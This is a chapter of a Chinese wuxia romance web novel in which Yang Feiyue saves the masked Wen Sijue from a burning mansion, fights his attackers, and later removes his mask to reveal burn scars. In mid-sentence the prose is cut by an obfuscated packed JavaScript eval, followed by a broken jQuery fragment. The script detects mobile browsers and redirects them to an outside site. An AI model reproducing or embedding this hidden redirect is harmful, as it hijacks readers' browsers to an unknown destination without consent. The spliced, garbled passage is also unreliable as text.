分不清是烈火焚城还是焰墙成城。大火威势难以阻挡,直烧得半片天都成了红色。
被银屏从湖里带出来后,杨飞月跟失了神似的。她望着天边的大火,恍然以为出现了什么幻象。及至银屏大喊道:“不好了!那是盟主府的方向!”
一时间,银屏再难顾上杨飞月,“向姑娘!我该回去了!你...也许走得越远越好。”她神情复杂地看了她几眼,策马飞奔而去。
杨飞月迟愣地反应了过来:不管怎么样,师父还在那!况且,她难道就会想要温嗣绝再死一次吗?!
她眼瞳发红,赶忙追去。
灼灼热意越来越近,滚滚黑雾从火舌中吐露,像是为巨物泄出的一口浓烟。
临近时,杨飞月遇上一个暗宫的护卫。他把飞月刀和一个锦囊交给她:“姑娘,宫主吩咐我把刀交给你。宫主还叫你带着自己的刀远走高飞。以及,真经道长已经被送去了安全的地方。”
杨飞月颤抖着手接过,浑身直打冷战,分不清是冻的还是怕的。她哆哆嗦嗦地打开那个曾经由她送给温嗣绝,现在又被重新送还的锦囊,只见其中两个大字:勿归。以及一个地址。
她在心中做着剧烈的斗争。
似乎不过几息,又似乎过去了好久。杨飞月调转马头,朝纸上所写的地址极速而去。
最终,杨飞月在一个荒废的破院子里见到了师父。
她腿软了一瞬,几乎跪了下去:“师父!”
“阿月,真是你。”真经道长搀住她,热泪盈眶:“没想到我们师徒还能再见。”
当今江湖对真经道长隐退一事多有传言。然而,除了杨飞月,并无几人知晓真实情况。事实是,真经道长早已武功尽失,为了躲避当年树立的仇敌,这才不得不金盆洗手,避世而居。
可眼下,师父连同飞月刀一起重出江湖,背后定有隐情。
杨飞月将自己的疑问问了出来。
道长道:“骆盟主察觉江南微生宫狼子野心,故请我出来主持局面,欲要团结众武林人士以图讨伐。却不料微生宫已经先一步下手。”
“原来如此...”杨飞月所有再见师父的狂喜都在逐渐地冷淡下来,那僵持在心底的焦灼却同时猛烈地进行着反扑。
真经道长瞧着她着实有些心不在焉,直直盯着门外出神,像是随时预备乘上马去往什么地方。道长活了大半辈子,如何不能猜到她的几分心事?此前在盟主府,他亦将杨飞月与温嗣绝二人形貌收入了眼中。眼下,便道:“却不知那救我出来的男子与你是什么关系?我匆忙离开时,见他已为众多武林人士所包围了起来。”
杨飞月猛地捏紧拳头。
真经道长叹道:“阿月...”
“师父!有什么等我回来再说!”杨飞月火急火燎地飞跑了出去,她的心里,只有一个念头,那就是温嗣绝哪怕该死,哪怕要死,也仍应当叫她亲眼目睹才是!
一切都发生得太快,杨飞月只能全然抛却理智,把一切交给自己的本能。
盟主府火势不减,仍以试图吞没半片天的野望,掀起翻天的热浪。
杨飞月一路驾马跑进那巨物的腹地,只看清或者溃散而逃、或者缠斗在一处的人群。
她在四处寻找起来,终于看到了狼狈的银屏。顺着银屏指的方向,杨飞月到时,正有一把锋利的白刃向温嗣绝的后背刺去。
杨飞月心头一突,大喝道:“小心!”她眸光锐利地跑上前,以飞月刀将那长剑砍下。“古迟剑,你疯了?”她逼视着那企图偷袭温嗣绝的古迟剑,头一回觉得斩草不除根,的确是吹风吹又生。
被她护在身后的温嗣绝微微一怔,看着杨飞月的眸中透着惊讶和一种难以言喻的感激。
那厢,古迟剑虽有愧疚,到底还是举剑与她战了起来。
杨飞月一面看顾着浑身浴血的温嗣绝,一面以精妙绝伦的飞月十二式一并将古迟剑和趁机围攻而上的人全都打了下去。
部分武林人士认得这招式,也认得那刀,一瞬间便仿佛死去的杨飞月重新回来了似的。
有知道她今日与真经道长那番话的便开口劝道:“向姑娘,你既师从杨女侠,便也应当学习她的大义。今日怎可拿着杨女侠的飞月刀,反用飞月十二式屠戮向与你同仇敌忾的人?”
“大义么!那是上一辈子的事了!反正现在,他不能死!”杨飞月彻底爆发,使出了重生以来的武功之最。终于,叫她逮住功夫先杀了古迟剑!
可就在打到落下之际,江未雪不知从哪个角落跑了出来,举着剑挡在古迟剑的面前。
杨飞月仓皇收刀,差点反伤了自己:“江姑娘?你这是做什么?”
江未雪咬了咬嘴唇道:“古迟剑是我堂兄,他不能死。”她期期艾艾地看向温嗣绝,接着道:“相信我,他回对你出手一定是被逼迫的。”
温嗣绝伸手轻拉住杨飞月的胳膊,“放了他吧。”
杨飞月并不知道刚才江未雪对温嗣绝施以了援手。此刻,这一切落在她眼里,只叫她升起几分怒意。她咬牙,到底没说什么,只把这愤怒尽数灌注到了自己的刀里。
她带着温嗣绝且战且退,意图从这里逃开。
盟主府的火势总算渐渐小了,可空气中仍旧弥漫着刺鼻的焦味。
正是这时,武林盟主骆填海和白玉龙一致朝温嗣绝猛攻而来。
杨飞月转身与白玉龙交手,温嗣绝则对付着骆填海。
终究,那比试台上该有的一场对战还是发生了。
飞月刀落在杨飞月手中,趁手无比,简直像是重新燃了刀魂。同时,这也大大提升了杨飞月的作战能力。历经一朝生死,杨飞月对刀武一途有了新的体验。这种体验在重新拿起飞月刀时,几乎到了顶峰。若非这具躯体操练得还是不够,这刀法也堪称炉火纯青了。
白玉龙一面惊叹她这样年轻,刀法里却透着股大开大合的将生死置之度外的超然,一面下手毫不留情。
然后,当你直面困难时,又发现困难并没有想象中的难以克服。对杨飞月来说,她现在的感受就是这样。白玉龙虽强,可她愈战越勇。她心底的火山在今天全部爆发了,那股燎原的情绪之火,足以令她的刀更添具一往无前的英勇。
然而,实力之差是真实存在。
杨飞月虽已超常发挥,要真的拿下身经百战的前辈白玉龙还是强人所难
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13931374|145306||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了。
那厢,温嗣绝将骆填海打伤,正瞧白玉龙不再贪战,以其劲力无匹的一掌朝杨飞月打去。见此,他旋身挡在杨飞月面前,以一掌接他一掌。
白玉龙不敌,后撤了几大步。
温嗣绝往后退开几步,半倚靠在上前来的杨飞月的身上,“走。”
杨飞月带他上马,两人迅速离开。而后,暗宫仍旧存活着的人,也如水般褪去。
她还记得,来的时候暗宫的人远没有这样多。看来,温嗣绝对局势的敏锐察觉远比她想象的还要强。
杨飞月坐在温嗣绝身后,驾马远去。
温嗣绝忍了忍,没忍住,终究是一口血吐了出来。
杨飞月直觉手背一阵温热的濡湿,忙问:“温嗣绝,你没事吧?”
温嗣绝整张脸都惨白着,唯独薄唇红得要滴出血来。他摇了摇头,尽量用轻松的语调:“我没事。”顿了顿,他微吸了口气,接着道:“向南,没想到你会回来。”
“温嗣绝,你是不是早就知道我是谁?”杨飞月圈着他,手臂绷紧。
“是。”温嗣绝有气无力地说道,分明痛极,又好像有什么值得高兴的事。
“什么时候?”
“你第一次去金风玉露阁的时候。”
“原因呢?”
“你用刀的路数。”
“是你做的吗?”
“不是。都不是。”
杨飞月听明白了他的意思。无论是老麻头酒舍的事还是今日的事,他都表示否认。她没再多说什么,把他带去了师父所在的那个安全地方。
抵达以后,温嗣绝便被安置在了房间里。王肇为他上药的时候,杨飞月一直站在门口,遥望着远处的天空深思着。
真经道长没有去打扰她,他已经察觉,自己的这个徒儿似乎比从前长大了不少。
等王肇出来后,杨飞月便进去了。彼时,温嗣绝端坐在草团上,正闭着眼。似乎察觉到了她的到来,他轻轻把眼睛睁开。杨飞月缓步走到他面前,蹲下身,这才看清见他唇色褪去不少。
两人就这么无言地彼此凝望了片刻,杨飞月迟疑地抬起手,最终将手轻触他暗色的面具。
温嗣绝下意识地握住她的手,眼里浮现挣扎的痕迹:“飞月...”
杨飞月一动未动,以此说明自己的决心。
沉默对峙了几息,温嗣绝顺从地收回自己的手,闭了闭眼。
杨飞月终于得以将他的面具摘下。而当她的目光刚刚触及到他那片肌肤时,她瞳孔猛缩,两件事便瞬间得以确定。一是他的确是她所认识的那个温嗣绝;二是他的脸上遍布的可怖疤痕,无疑是那场大火留下的痕迹。
杨飞月颤着手,鼻尖、眼尾、心底都泛着酸意。她忽然无比的痛心和后悔。她把他的面具搁下,温热的指尖轻触他脸上那如同无数蜿蜒的小蛇般的疤痕。从眼尾到下巴的地方,全都有。杨飞月疼惜地抚摸遍了每一寸,直到眼睛里蓄满泪水,最终倾身,在他右脸留下一吻、一吻、又一吻。
温嗣绝,你说你没做。我不敢说信你,却也无法再不信你。
我一定会找到真相的。
一定。